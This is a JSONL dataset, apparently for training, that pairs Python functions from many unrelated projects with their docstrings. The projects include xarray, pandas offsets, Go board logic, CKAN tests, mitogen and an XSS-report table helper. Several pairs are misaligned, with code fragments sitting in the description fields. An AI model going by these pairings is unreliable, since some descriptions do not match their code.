xr.DataArrayThe array to be rechunked.chk : dictThe desired chunk size.Returns-------arr_chk : xr.DataArrayThe rechunked array."} {"code": "def load(self, *args, **kwargs):\n self.on_extension_load(*args, **kwargs)\n return self\n", "nl": "Provided to plux to load the plugins. Do NOT overwrite! PluginManagers managing extensions expect the load method to return the Extension itself.:param args: load arguments:param kwargs: load keyword arguments:return: this extension object"} {"code": "def generate_best_split(self, ind, dep):\n tree = TreeLibTree()\n for node in self:\n tree.create_node(node, node.node_id, parent=node.parent)\n return tree\n", "nl": " internal method to generate the best split return self._stats.best_split(ind, dep)def to_tree(self): returns a TreeLib tree "} {"code": "def get_cairo_types():\n\n try:\n import cairo\n except ImportError:\n import cairocffi as cairo\n\n lib = ctypes.CDLL(\"libcairo.so.2\")\n", "nl": "Creates an (incomplete) c symbol to python key mapping forpycairo/cairocffi"} {"code": "def elaborate(self, platform):\n self.m = Module()\n\n with self.m.FSM():\n self.start_fsm()\n self.end_fsm()\n\n self.m.d.comb += [\n self.tx_addr.eq(0),\n self.tx_data.eq(0),\n ]\n\n return self.m\n\n\nclass _EthernetLayer(_StackLayer):\n \"\"\"", "nl": "Default dummy implementation to allow using not-yet-implementedmodules without causing logic errors.This method must be overridden in layer implementations."} {"code": "def collect_pc(grasp_, pc):\n grasp_num = len(grasp_)\n grasp_ = np.array(grasp_)\n grasp_ = grasp_.reshape(-1, 5, 3)\n grasp_bottom_center = grasp_[:, 0]\n approach_normal = grasp_[:, 1]\n binormal = grasp_[:, 2]\n minor_pc = grasp_[:, 3]\n\n in_ind_ = []\n in_ind_points_ = []\n p = ags.get_hand_points(np.array([0, 0, 0]), np.array([1, 0, 0]), np.array([0, 1, 0]))\n for i_ in range(grasp_num):\n has_p, in_ind_tmp, points_g = check_collision_square(grasp_bottom_center[i_], approach_normal[i_],\n binormal[i_], minor_pc[i_], pc, p)\n in_ind_.append(in_ind_tmp)\n in_ind_points_.append(points_g[in_ind_[i_]])\n return in_ind_, in_ind_points_\n\n", "nl": "grasp_bottom_center, normal, major_pc, minor_pc"} {"code": "def rollforward(self, dt):\n dt = as_timestamp(dt)\n if not self.is_on_offset(dt):\n dt = dt + type(self)(1, normalize=self.normalize, **self.kwds)\n return dt\n", "nl": "Roll provided date forward to next offset only if not on offset.Returns-------TimeStampRolled timestamp if not on offset, otherwise unchanged timestamp."} {"code": "def grapple_graphql_header(module_name: str) -> str:\n\n", "nl": "return #W0661: unused imports lint#C0301: line too long#C0103: disable invalid constant name#pylint: disable=W0611,C0301,C0103from graphql import (GraphQLSchema,GraphQLObjectType,GraphQLField,GraphQLString,GraphQLArgument,GraphQLList,GraphQLInt,GraphQLInputObjectType,GraphQLInputObjectField,GraphQLNonNull,GraphQLID,GraphQLEnumType,GraphQLBoolean,)from graphql.type import GraphQLEnumValuefrom graphscale.grapple import (req,list_of,GraphQLDate,GraphQLUUID,GraphQLPythonEnumType,define_default_resolver,define_default_gen_resolver,define_pent_mutation_resolver,)import {module_name}.pent as module_pents.format(module_name=module_name)"} {"code": "def unseen_events(self):\n return self.unseens\n", "nl": "Return a complete list of all unseen events- args:- return: events(list)"} {"code": "def _get_metric_key_pattern(self, granularity, slug, date):\n and date.\"\"\"", "nl": " The Redis metric key and date formatting patterns for each key, by granularitypatterns_by_granularity = {\"seconds\": {\"key\": \"m:{0}:s:{1}\", \"date_format\": \"%Y-%m-%d-%H-%M-%S\"},\"minutes\": {\"key\": \"m:{0}:i:{1}\", \"date_format\": \"%Y-%m-%d-%H-%M\"},\"hourly\": {\"key\": \"m:{0}:h:{1}\", \"date_format\": \"%Y-%m-%d-%H\"},\"daily\": {\"key\": \"m:{0}:{1}\", \"date_format\": \"%Y-%m-%d\"},\"weekly\": {\"key\": \"m:{0}:w:{1}\",\"date_format\": self._get_weekly_date_format(date),},\"monthly\": {\"key\": \"m:{0}:m:{1}\", \"date_format\": \"%Y-%m\"},\"yearly\": {\"key\": \"m:{0}:y:{1}\", \"date_format\": \"%Y\"},}pattern_for_granularity = patterns_by_granularity[granularity]fmt = pattern_for_granularity[\"date_format\"]date_string = date.strftime(fmt)return pattern_for_granularity[\"key\"].format(slug, date_string)def _get_weekly_date_format(self, date):if app_settings.USE_ISO_WEEK_NUMBER:# We can return instantly because ISO week start on mondayreturn \"{year}-{week_no}\".format(year=date.isocalendar()[0], week_no=date.isocalendar()[1])return \"%Y-%{0}\".format('W' if app_settings.MONDAY_FIRST_DAY_OF_WEEK else 'U')def _build_key_patterns(self, slug, date):Builds an OrderedDict of metric keys and patterns for the given slug"} {"code": "def test_models_category_get_blogposts_language_fallback_draft(self):\n category1, category2, category3 = CategoryFactory.create_batch(\n 3, should_publish=True\n )\n blogpost = BlogPostFactory(should_publish=True)\n placeholder = blogpost.extended_object.placeholders.get(slot=\"categories\")\n cms_languages = {", "nl": "Validate that the reverse blogposts lookup works as expected with language fallbackon a draft page."} {"code": "def register(self, name, val, zero_init=False):\n self._check_exist(name)\n if num_updates is None:\n momentum = self._momentum\n else:\n momentum = min(self._momentum,\n (1.0 + num_updates) / (10.0 + num_updates))\n self._info[name]['num_updates'] += 1\n self._info[name]['last_momemtum'] = momentum\n return self._shadow[name].mul_(momentum).add_(1.0 - momentum,\n x.detach())\n", "nl": "Register and init variable to averaged.if name in self._shadow:raise ValueError('Should not register twice for {}'.format(name))if val.dtype not in [torch.float16, torch.float32, torch.float64]:raise TypeError('The variables must be half, float, or double: {}'.format(name))if zero_init:self._shadow[name] = torch.zeros_like(val)else:self._shadow[name] = val.detach().clone()self._info[name] = {'num_updates': 0,'last_momemtum': None,'zero_init': zero_init,'compress_masked': False,}def forward(self, name, x, num_updates=None):Update averaged variable."} {"code": "def z0tocd(z0, zr):\n cd = (0.4 * np.ones(z0.size) / np.log(zr / z0)) ** 2\n return cd\n\n", "nl": "Calculates CD at a given ZR corresponding to Z0."} {"code": "def find(self, *args):\n return self.find('above', tagOrId)", "nl": "Internal function.return self._getints(self.tk.call((self._w, 'find') + args)) or ()def find_above(self, tagOrId):Return items above TAGORID."} {"code": "def ensure_has_source_dir(self, parent_dir):\n if self.source_dir is None:\n self.source_dir = self.build_location(parent_dir)\n return self.source_dir\n", "nl": "Ensure that a source_dir is set.This will create a temporary build dir if the name of the requirementisn't known yet.:param parent_dir: The ideal pip parent_dir for the source_dir.Generally src_dir for editables and build_dir for sdists.:return: self.source_dir"} {"code": "def putaround(self, before=\"\", after=\"\", indent=\" \" * 4):\n before = Source(before)\n after = Source(after)\n newsource = Source()\n lines = [(indent + line) for line in self.lines]\n newsource.lines = before.lines + lines + after.lines\n return newsource\n", "nl": " return a copy of the source object with'before' and 'after' wrapped around it."} {"code": "def test_msgpack_priority(self, cube, function_store):\n store_data(\n cube=cube,\n function_store=function_store,\n df=pd.DataFrame({\"x\": [0], \"y\": [0], \"p\": [0], \"q\": [0], \"v1\": [0]}),\n name=cube.seed_dataset,\n metadata_storage_format=\"msgpack\",\n )\n expected = {\n cube.seed_dataset: store_data(\n cube=cube,\n function_store=function_store,\n df=pd.DataFrame({\"x\": [0], \"y\": [0], \"p\": [0], \"q\": [0], \"v2\": [0]}),\n name=cube.seed_dataset,\n overwrite=True,\n )\n }\n store_data(\n cube=cube,\n function_store=function_store,\n df=pd.DataFrame({\"x\": [0], \"y\": [0], \"p\": [0], \"q\": [0], \"v3\": [0]}),\n name=cube.seed_dataset,\n metadata_storage_format=\"msgpack\",\n overwrite=True,\n )\n\n actual = discover_datasets_unchecked(cube.uuid_prefix, function_store)\n assert_datasets_equal(actual, expected)\n", "nl": "json metadata files have priority in kartothek, so the disovery should respect this"} {"code": "def fprop(self, inputs: JTensor) -> JTensor:\n p = self.params\n\n outputs = self.entryflow_conv.fprop(inputs)\n\n outputs, _ = self.entryflow_maxpool.fprop(outputs)\n\n for stage_id, num_blocks in enumerate(p.blocks):\n for block_id in range(num_blocks):\n block_name = f'stage_{stage_id}_block_{block_id}'\n instance = getattr(self, block_name)\n outputs = instance.fprop(outputs)\n\n if p.output_spatial_pooling_params is not None:\n outputs = self.output_spatial_pooling.fprop(outputs)\n return outputs", "nl": "Applies the ResNet model to the inputs.Args:inputs: Input image tensor of shape [B, H, W, 3].Returns:Output tensor of ResNet of shape [B, H, W, D] where D is the last channeldimension. If `output_spatial_pooling_params` is not None, then theoutput will be of a shape that depends on which dims are pooled. For e.g.,if the pooling dims are [1, 2], then output shape will be [B, D]."} {"code": "def makeMarkdownTable(results: Mapping[str, Optional[str]], token: str) -> Tuple[bool, bool, str, List[str], List[str]]:\n message = '\n reproduced = False\n alertBox = False\n confirmedBrowsers = []\n alertBrowsers = []\n working = []\n alert = []\n notWorking = []\n for driver, result in results.items():\n if result and token in result:\n reproduced = True\n alertBox = True\n confirmedBrowsers.append(driver)\n alertBrowsers.append(driver)\n working += '%s | %s\\n' % (driver, 'XSS confirmed working!')\n elif result:\n alertBox = True\n alertBrowsers.append(driver)\n alert += '%s | %s\\n' % (driver, ('Found an alert box, but no token found! Please reply with a URL '\n 'that will pop an alert box containing `\"%s\"` (for example: '\n '`https://example.com/xss.php?q=`)')\n % (token, token))\n else:\n notWorking += '%s | %s\\n' % (driver, 'No alert box found!')\n for res in working + alert + notWorking:\n message += res\n return reproduced, alertBox, message, confirmedBrowsers, alertBrowsers", "nl": " Make a sorted markdown table from the results and the token- Returns (reproduced, alertBox, table, list[confirmed browsers], list[alert browsers]) "} {"code": "def lookupEncoding(encoding):\n if isinstance(encoding, binary_type):\n try:\n encoding = encoding.decode(\"ascii\")\n except UnicodeDecodeError:\n return None\n\n if encoding is not None:\n try:\n return webencodings.lookup(encoding)\n except AttributeError:\n return None\n else:\n return None", "nl": "Return the python codec name corresponding to an encoding or None if thestring doesn't correspond to a valid encoding."} {"code": "def test_package_search_with_fq_excludes_private(self):\n user = factories.User()\n org = factories.Organization(user=user)\n factories.Dataset(user=user)\n factories.Dataset(user=user, state=\"deleted\")\n factories.Dataset(user=user, state=\"draft\")\n factories.Dataset(user=user, private=True, owner_org=org[\"name\"])\n\n fq = \"capacity:private\"\n results = helpers.call_action(\"package_search\", fq=fq)[\"results\"]\n\n assert len(results) == 0\n", "nl": "package_search() with fq capacity:private should not return privateand draft datasets."} {"code": "def client(self):\n if not self.abilities.api:\n raise WeChatAbilityError(WeChatAbilityError.API)\n if not hasattr(self, \"_client\"):\n self._client = self._get_client()\n if self.type == self.Type.MINIPROGRAM:\n self._client = self._client.wxa\n return self._client\n", "nl": ":rtype: wechat_django.client.WeChatClientor wechatpy.client.api.wxa.WeChatWxa"} {"code": "def check_enemy_liberty(self, play_color, enemy_pos, our_pos):\n enemy_row, enemy_col = enemy_pos\n our_row, our_col = our_pos\n\n if enemy_row < 0 or enemy_row >= self.board_size or enemy_col < 0 or enemy_col >= self.board_size:\n return\n enemy_color = self.other_color(play_color)\n if self.board.get(enemy_pos) != enemy_color:\n return\n enemy_string = self.go_strings[enemy_pos]\n if enemy_string is None:\n raise ValueError('Inconsistency between board and go_strings at %r' % enemy_pos)\n\n enemy_string.remove_liberty(our_pos)\n if enemy_string.get_num_liberties() == 0:\n for enemy_pos in enemy_string.stones.stones:\n string_row, string_col = enemy_pos\n del self.board[enemy_pos]\n del self.go_strings[enemy_pos]\n self.ko_last_move_num_captured = self.ko_last_move_num_captured + 1\n for adjstring in [(string_row - 1, string_col), (string_row + 1, string_col),\n (string_row, string_col - 1), (string_row, string_col + 1)]:\n self.add_liberty_to_adjacent_string(adjstring, enemy_pos, play_color)\n", "nl": "Update surrounding liberties on board after a move has been played.Parameters:-----------play_color: Color of player about to moveenemy_pos: latest enemy moveour_pos: our latest move"} {"code": "def load_sq_config(validate=True, config_file=None):\n\n The valid methods are:", "nl": "Load (and validate) basic suzieq config# Order of looking up suzieq config:# Current directory# ${HOME}/.suzieq/cfgfile = Nonecfg = {}cfgfile = sq_get_config_file(config_file)if cfgfile:try:with open(cfgfile, \"r\") as f:cfg = yaml.safe_load(f.read())except Exception as e: # pylint: disable=broad-exceptprint(f'ERROR: Unable to open config file {cfgfile}: {e.args[1]}')sys.exit(1)if not cfg:print(f'ERROR: Empty config file {cfgfile}')sys.exit(1)if validate:error_str = validate_sq_config(cfg)if error_str:print(f'ERROR: Invalid config file: {cfgfile}')print(error_str)sys.exit(1)else:# also without validation, I need to load the REST API key and,# if necessary, raise an errorerror = _load_rest_api_key(cfg)if error:print(f'ERROR: Invalid config file: {cfgfile}')print(error)sys.exit(1)if not cfg:print(\"suzieq requires a configuration file either in \"\"./suzieq-cfg.yml or ~/.suzieq/suzieq-cfg.yml\")sys.exit(1)return cfgdef get_sensitive_data(input_method: str, ask_message: str = '') -> str:This function is used by the inventory to specify sensitive data"} {"code": "def scopemap(self):\n utility.debug_print(self.result)\n\n", "nl": " Output scopemap."} {"code": "def write_section(output_dir, dataset_name, section, documents):\n with open(os.path.join(output_dir, 'th_%s-ud-%s-mwt.json' % (dataset_name, section)), 'w') as fout:\n fout.write(\"[]\\n\")\n\n text_out = open(os.path.join(output_dir, 'th_%s.%s.txt' % (dataset_name, section)), 'w')\n label_out = open(os.path.join(output_dir, 'th_%s-ud-%s.toklabels' % (dataset_name, section)), 'w')\n for document in documents:\n for paragraph in document:\n for sentence_idx, sentence in enumerate(paragraph):\n for word_idx, word in enumerate(sentence):\n text_out.write(word[0])\n for i in range(len(word[0]) - 1):\n label_out.write(\"0\")\n if word_idx == len(sentence) - 1:\n label_out.write(\"2\")\n else:\n label_out.write(\"1\")\n if word[1] and (sentence_idx != len(paragraph) - 1 or word_idx != len(sentence) - 1):\n text_out.write(' ')\n label_out.write('0')\n\n text_out.write(\"\\n\\n\")\n label_out.write(\"\\n\\n\")\n\n text_out.close()\n label_out.close()\n\n with open(os.path.join(output_dir, 'th_%s.%s.gold.conllu' % (dataset_name, section)), 'w') as fout:\n for document in documents:\n for paragraph in document:\n new_par = True\n for sentence in paragraph:\n for word_idx, word in enumerate(sentence):\n if word[1] and new_par:\n space = 'NewPar=Yes'\n elif word[1]:\n space = '_'\n elif new_par:\n space = 'SpaceAfter=No|NewPar=Yes'\n else:\n space = 'SpaceAfter=No'\n new_par = False\n\n fake_dep = 'root' if word_idx == 0 else 'dep'\n fout.write('{}\\t{}\\t_\\t_\\t_\\t_\\t{}\\t{}\\t{}:{}\\t{}\\n'.format(word_idx+1, word[0], word_idx, fake_dep, word_idx, fake_dep, space))\n fout.write('\\n')\n", "nl": "Writes a list of documents for tokenization, including a file in conll formatThe Thai datasets generally have no MWT (apparently not relevant for Thai)output_dir: the destination directory for the output filesdataset_name: orchid, BEST, lst20, etcsection: train/dev/testdocuments: a nested list of documents, paragraphs, sentences, wordswords is a list of (word, space_follows)"} {"code": "def flow_to_color(flow_uv, clip_flow=None, convert_to_bgr=False):\n\n assert flow_uv.ndim == 3, 'input flow must have three dimensions'\n assert flow_uv.shape[2] == 2, 'input flow must have shape [H,W,2]'\n\n if clip_flow is not None:\n flow_uv = np.clip(flow_uv, 0, clip_flow)\n\n u = flow_uv[:, :, 0]\n v = flow_uv[:, :, 1]\n\n rad = np.sqrt(np.square(u) + np.square(v))\n rad_max = np.max(rad)\n\n epsilon = 1e-5\n u = u / (rad_max + epsilon)\n v = v / (rad_max + epsilon)\n\n return flow_compute_color(u, v, convert_to_bgr)\n\n\nUNKNOWN_FLOW_THRESH = 1e7\nSMALLFLOW = 0.0\nLARGEFLOW = 1e8\n\n", "nl": "Expects a two dimensional flow image of shape [H,W,2]According to the C++ source code of Daniel ScharsteinAccording to the Matlab source code of Deqing Sun:param flow_uv: np.ndarray of shape [H,W,2]:param clip_flow: float, maximum clipping value for flow:return:"} {"code": "def subprocess__Popen__close_fds(self, but):\n try:\n names = os.listdir(u'/proc/self/fd')\n except OSError:\n self._original_close_fds(but)\n return\n\n for name in names:\n if not name.isdigit():\n continue\n\n fd = int(name, 10)\n if fd > 2 and fd != but:\n try:\n os.close(fd)\n except OSError:\n pass\n\n\nif (\n sys.platform.startswith(u'linux') and\n sys.version_info < (3,) and\n hasattr(subprocess.Popen, u'_close_fds') and\n not mitogen.is_master\n):\n subprocess.Popen._original_close_fds = subprocess.Popen._close_fds\n subprocess.Popen._close_fds = subprocess__Popen__close_fds\n\n", "nl": "issue #362, #435: subprocess.Popen(close_fds=True) aka.AnsibleModule.run_command() loops the entire FD space on Python<3.2.CentOS>5 ships with 1,048,576 FDs by default, resulting in huge (>500ms)latency starting children. Therefore replace Popen._close_fds on Linux witha version that is O(fds) rather than O(_SC_OPEN_MAX)."} {"code": "def test_station_select(self):\n sta = read_inventory()[0][0]\n\n assert len(sta) == 12\n assert sta.code == \"FUR\"\n out = sorted([\"%s.%s\" % (_i.location_code, _i.code) for _i in sta])\n expected = (['.BHE', '.BHN', '.BHZ', '.HHE', '.HHN', '.HHZ',\n '.LHE', '.LHN', '.LHZ', '.VHE', '.VHN', '.VHZ'])\n assert out == expected\n\n assert sta[0].code == \"HHZ\"\n sta[0].end_date = UTCDateTime(2010, 1, 1)\n\n sta_2 = sta.select()\n assert len(sta_2) == 12\n assert sta_2.code == \"FUR\"\n\n sta_2 = sta.select(channel=\"*Z\")\n assert len(sta_2) == 4\n assert sta_2.code == \"FUR\"\n out = sorted([\"%s.%s\" % (_i.location_code, _i.code) for _i in sta_2])\n assert out == ['.BHZ', '.HHZ', '.LHZ', '.VHZ']\n\n sta_2 = sta.select(channel=\"BH?\")\n assert len(sta_2) == 3\n assert sta_2.code == \"FUR\"\n\n out = sorted([\"%s.%s\" % (_i.location_code, _i.code) for _i in sta_2])\n assert out == ['.BHE', '.BHN', '.BHZ']\n\n sta_2 = sta.select(location=\"*\")\n assert len(sta_2) == 12\n assert sta_2.code == \"FUR\"\n\n sta_2 = sta.select(location=\"\")\n assert len(sta_2) == 12\n assert sta_2.code == \"FUR\"\n\n sta_2 = sta.select(location=\"10\")\n assert len(sta_2) == 0\n assert sta_2.code == \"FUR\"\n\n assert len(sta.select(time=UTCDateTime(2005, 1, 1))) == 0\n assert len(sta.select(time=UTCDateTime(2007, 1, 1))) == 12\n assert len(sta.select(time=UTCDateTime(2006, 12, 15))) == 0\n assert len(sta.select(time=UTCDateTime(2006, 12, 17))) == 12\n assert len(sta.select(time=UTCDateTime(2012, 1, 1))) == 11\n\n assert len(sta.select(starttime=UTCDateTime(2005, 1, 1))) == 12\n assert len(sta.select(starttime=UTCDateTime(2009, 1, 1))) == 12\n assert len(sta.select(starttime=UTCDateTime(2011, 1, 1))) == 11\n assert len(sta.select(starttime=UTCDateTime(2016, 1, 1))) == 11\n\n assert len(sta.select(endtime=UTCDateTime(2005, 1, 1))) == 0\n assert len(sta.select(endtime=UTCDateTime(2009, 1, 1))) == 12\n assert len(sta.select(endtime=UTCDateTime(2011, 1, 1))) == 12\n assert len(sta.select(endtime=UTCDateTime(2016, 1, 1))) == 12\n\n assert len(sta.select(sampling_rate=33.0)) == 0\n assert len(sta.select(sampling_rate=100.0)) == 3\n assert len(sta.select(sampling_rate=20.0)) == 3\n assert len(sta.select(sampling_rate=1.0)) == 3\n assert len(sta.select(sampling_rate=0.1)) == 3\n\n out = sorted([\"%s.%s\" % (_i.location_code, _i.code) for _i\n in sta.select(sampling_rate=100.0)])\n assert out == ['.HHE', '.HHN', '.HHZ']\n\n assert len(sta.select(sampling_rate=33.0 + 1E-6)) == 0\n assert len(sta.select(sampling_rate=100.0 + 1E-6)) == 3\n assert len(sta.select(sampling_rate=20.0 - 1E-6)) == 3\n assert len(sta.select(sampling_rate=1.0 + 1E-6)) == 3\n assert len(sta.select(sampling_rate=0.1 - 1E-6)) == 3\n\n sta = read_inventory()[1][0]\n sta[0].latitude = 47.9\n sta[0].longitude = 12.9\n out = sta.select(\n minlatitude=47.8, maxlatitude=48,\n minlongitude=12.8, maxlongitude=13)\n assert len(out) == 1\n assert len(sta.select(\n latitude=47.95, longitude=12.95, maxradius=0.1)) == 1\n assert len(sta.select(\n latitude=47.95, longitude=12.95, minradius=0.1)) == 2\n assert len(sta.select(\n latitude=47.95, longitude=12.95,\n minradius=0.08, maxradius=0.1)) == 0\n", "nl": "Tests the select() method on station objects."} {"code": "def get_first_folder(path):\n path = path[len(root):]\n path = path.lstrip(F_SEP)\n return path.split(F_SEP)[0]\n\n path_tuples = sorted(((get_first_folder(m.folder), m) for m in mapsources), key=lambda x: x[0])\n groups = {k: [x for x in g] for k, g in itertools.groupby(path_tuples, lambda x: x[0])}\n folders = sorted([x for x in groups.keys() if x != \"\"])\n mapsources = sorted([t[1] for t in groups.get(\"\", [])], key=lambda x: x.id)\n yield (root, folders, mapsources)\n for fd in folders:\n yield from walk_mapsources([t[1] for t in groups[fd]], F_SEP.join([root, fd]))\n\n\nclass MapSourceException(Exception):\n pass\n\n\nclass MapLayer(object):\n \"\"\"", "nl": "Get the first folder in a path> get_first_folder(\"europe/switzerland/bs\")europe"} {"code": "def reply_with_contact(self, *args, **kwargs):\n if self.is_inline:\n raise InlineMessageUnsupportedActionException(\n \"You can't use reply_to with a message sent via inline mode\"\n )\n return self.chat.send_album(*args, reply_to=self, **kwargs)\n\n @_require_api", "nl": "Reply with a contact to the current messageif self.is_inline:raise InlineMessageUnsupportedActionException(\"You can't use reply_to with a message sent via inline mode\")return self.chat.send_contact(*args, reply_to=self, **kwargs)@_require_apidef reply_with_album(self, *args, **kwargs):Reply with an album to the current message"} {"code": "def get_entries_with_narration(entries, regexp):\n return [entry\n for entry in entries\n if (isinstance(entry, data.Transaction) and\n re.search(regexp, entry.narration))]\n\n\nclass TestEffectiveDate(unittest.TestCase):\n", "nl": "Return the entries whose narration matches the regexp.Args:entries: A list of directives.regexp: A regular expression string, to be matched against thenarration field of transactions.Returns:A list of directives."} {"code": "def in_nested_list(nested_list, obj):\n for elmt in nested_list:\n if isinstance(elmt, (list, tuple)):\n if in_nested_list(elmt, obj):\n return True\n elif elmt == obj:\n return True\n return False\n", "nl": "return true if the object is an element of or of a nestedlist"} {"code": "def _default_config(self) -> dict:\n\n Arguments:\n policy_id (str): id of policy to return.\n \"\"\"", "nl": "Subclasses should override this to declare their default config.raise NotImplementedError@PublicAPIdef get_policy(self, policy_id: PolicyID = DEFAULT_POLICY_ID) -> Policy:Return policy for the specified id, or None."} {"code": "def test_genmod_annotate_features_empty_vcf():\n runner = CliRunner()\n result = runner.invoke(\n cli, [\n 'annotate',\n VCF_FILE,\n '-r',\n '-b',\n '38'\n ])\n\n assert result.exit_code == 0\n", "nl": "docstring for test_genmod_annotate_modelsrunner = CliRunner()result = runner.invoke(cli, ['annotate',EMPTY_VCF_FILE,'-r'])assert result.exit_code == 0def test_genmod_annotate_features_38():Test to annotate variants with the GRCh38 build"} {"code": "def test_custom_encoding_1_1(self):\n\t\texpect_headers = {\n\t\t\t'Accept-Encoding' : r'gzip'\n\t\t}\n\t\tself.fetch_check_headers(expect_headers)\n", "nl": "Normal accept"} {"code": "def set_message_text(self, message_text):\n\n if message_text:\n message_text = bleach.linkify(message_text, parse_email=True, callbacks=None)\n\n elif self.message.action:\n message_text = (f\"{self._convert_user_to_str(self.sender)} \"\n f\"did something - {self.message.action}\")\n else:\n message_text = \"Message type is not supported yet.\"\n\n self.message_label.set_label(message_text)\n", "nl": "Sets the visible messageParameters:message_text (str): The last message from the dialog"} {"code": "def seekable(self):\n return False\n", "nl": "Return whether object supports random access.If False, seek(), tell() and truncate() will raise IOError.This method may need to do a test seek()."} {"code": "def python_source(ast, file=sys.stdout):\n gen = SourceGen()\n gen.visit(ast)\n gen.dump(file)\n", "nl": "Generate executable python source code from an ast node.:param ast: ast node:param file: file to write output to."} {"code": "def test_user_03_respects_limit_tasks_limit(self):\n project = ProjectFactory.create(owner=UserFactory.create(id=500))\n TaskFactory.create_batch(10, project=project)\n\n self.register()\n self.signin()\n\n assigned_tasks = []\n url = 'api/project/%s/newtask' % project.id\n res = self.app.get(url)\n task1 = json.loads(res.data)\n assert task1.get('id'), task1\n res = self.app.get(url + '?offset=1')\n task2 = json.loads(res.data)\n assert task2.get('id'), task2\n assert task1.get('id') != task2.get('id'), \"Tasks should be different\"\n assigned_tasks.append(task1)\n assigned_tasks.append(task2)\n\n for t in assigned_tasks:\n tr = dict(project_id=t['project_id'], task_id=t['id'], info={'answer': 'No'})\n tr = json.dumps(tr)\n\n self.app.post('/api/taskrun', data=tr)\n res = self.app.get(url)\n task3 = json.loads(res.data)\n assert task3.get('id'), task1\n res = self.app.get(url + '?offset=1')\n task4 = json.loads(res.data)\n assert task4.get('id'), task2\n assert task3.get('id') != task4.get('id'), \"Tasks should be different\"\n assert task1.get('id') != task3.get('id'), \"Tasks should be different\"\n assert task2.get('id') != task4.get('id'), \"Tasks should be different\"\n res = self.app.get(url + '?offset=11')\n assert json.loads(res.data) == {}, res.data\n\n @with_context", "nl": " Test SCHED limit arg newtask respects the limit of 30 TaskRuns per list of Tasks# Del previous TaskRunsassigned_tasks = []project = ProjectFactory.create(owner=UserFactory.create(id=500))TaskFactory.create_batch(2, project=project, n_answers=10)# We need one extra loop to allow the scheduler to mark a task as completedurl = 'api/project/%s/newtask?limit=2' % project.idfor i in range(11):self.register(fullname=\"John Doe\" + str(i),name=\"johndoe\" + str(i),password=\"1234\" + str(i))self.signin()# Get Task until scheduler returns Noneres = self.app.get(url)data = json.loads(res.data)# Check that we received a Taskfor t in data:assert t.get('id'), data# Save the assigned taskassigned_tasks.append(t)# Submit an Answer for the assigned tasktr = dict(project_id=t['project_id'], task_id=t['id'],info={'answer': 'No'})tr = json.dumps(tr)self.app.post('/api/taskrun', data=tr)self.signout()# Check if there are 30 TaskRuns per Tasktasks = db.session.query(Task).filter_by(project_id=1).all()for t in tasks:assert len(t.task_runs) == 10, t.task_runs# Check that all the answers are from different IPserr_msg = \"There are two or more Answers from same User\"for t in tasks:for tr in t.task_runs:assert self.is_unique(tr.user_id, t.task_runs), err_msg# Check that task.state is updated to completedfor t in tasks:assert t.state == \"completed\", t.state@with_contextdef test_task_preloading(self):Test TASK Pre-loading works"} {"code": "def test_config_custom_section(cli, config_file):\n assert _parse(config_file).get(u'server:main', u'port') == u'5000'\n result = cli.invoke(ckan, [\n u'config-tool',\n str(config_file), u'-s', u'server:main', u'port=8000'\n ])\n assert not result.exit_code, result.output\n assert _parse(config_file).get(u'server:main', u'port') == u'8000'\n\n", "nl": "Custom section updated when specified."} {"code": "def to_report_metadata(self):\n return CrashReportInfo(\n product=report_metadata.product,\n version=report_metadata.version,\n minidump_key=report_metadata.minidump_key,\n serialized_crash_stack_frames=(\n report_metadata.serialized_crash_stack_frames),\n testcase_id=(report_metadata.testcase_id or None),\n bot_id=(report_metadata.bot_id or None))\n\n", "nl": "Export to ReportMetadata for batching upload.return data_types.ReportMetadata(product=self.product,version=str(self.version),minidump_key=self.minidump_info.key,serialized_crash_stack_frames=self.serialized_crash_stack_frames,testcase_id=str(self.testcase_id),bot_id=str(self.bot_id))def crash_report_info_from_metadata(report_metadata):Return CrashReportInfo given ReportMetadata for uploading."} {"code": "def get_completions(self, document, complete_event):\n style = style_from_pygments(BasicStyle, style_dict)\n self.preloop()\n stop = None\n while not stop:\n line = prompt(get_prompt_tokens=get_prompt_tokens, lexer=lexer,\n get_bottom_toolbar_tokens=get_bottom_toolbar_tokens,\n history=history, style=style, true_color=True,\n on_exit='return-none', on_abort='return-none',\n completer=QCompleter())\n if line is None or line.strip() == r'\\\\':\n raise SystemExit\n else:\n line = self.precmd(line)\n stop = self.onecmd(line)\n stop = self.postcmd(stop, line)\n self.postloop()", "nl": "Yield completions# Detect a file handlem = HSYM_RE.match(document.text_before_cursor)if m:text = m.group(1)doc = Document(text, len(text))for c in self.path_completer.get_completions(doc, complete_event):yield celse:# Get word/text before cursor.word_before_cursor = document.get_word_before_cursor(False)for words, meta in self.words_info:for a in words:if a.startswith(word_before_cursor):yield Completion(a, -len(word_before_cursor),display_meta=meta)def cmdloop(self, intro=None):A Cmd.cmdloop implementation"} {"code": "def delta(s):\n for asset in assets:\n asset.creation_date = asset.creation_date + datetime.timedelta(seconds = s)\n", "nl": " shift the asset creation time by the specified seconds"} {"code": "def on_start(self):\n if self.read_mode is FileInletMode.LINE:\n self.file = open(self.filepath, 'r')\n", "nl": "If read mode is :any:`FileInletMode.LINE`, open the file and hold it open for reading.:raises: :any:`FileNotFoundError` if file does not exists."} {"code": "def save(self):\n class Meta:\n proxy = True\n\n start_time = ExternalContent._make_property(\"start_time\")\n end_time = ExternalContent._make_property(\"end_time\")\n\n @property", "nl": " We override this to invalidate the cache on the parent comment. return super(ExternalContent, self).save()class YouTubeContent(ExternalContent): A proxy for ExternalContent that provides a YouTube specific interface. "} {"code": "def reduce_dict(input_dict, average=True):\n world_size = get_world_size()\n if world_size < 2:\n return input_dict\n with torch.no_grad():\n names = []\n values = []\n for k in sorted(input_dict.keys()):\n names.append(k)\n values.append(input_dict[k])\n values = torch.stack(values, dim=0)\n dist.reduce(values, dst=0)\n if dist.get_rank() == 0 and average:\n values /= world_size\n reduced_dict = {k: v for k, v in zip(names, values)}\n return reduced_dict\n\n", "nl": "Args:input_dict (dict): all the values will be reducedaverage (bool): whether to do average or sumReduce the values in the dictionary from all processes so that process with rank0 has the averaged results. Returns a dict with the same fields asinput_dict, after reduction."} {"code": "def init_bert_weights(self, module):\n if isinstance(module, (nn.Linear, nn.Embedding)):\n module.weight.data.normal_(\n mean=0.0, std=self.config.initializer_range)\n elif isinstance(module, BertLayerNorm):\n module.bias.data.zero_()\n module.weight.data.fill_(1.0)\n if isinstance(module, nn.Linear) and module.bias is not None:\n module.bias.data.zero_()\n\n @classmethod", "nl": " Initialize the weights."} {"code": "def _get_instance_embeddings(self, boxes, instance_embedding):\n blist = box_list.BoxList(boxes)\n output_height = tf.shape(instance_embedding)[0]\n output_width = 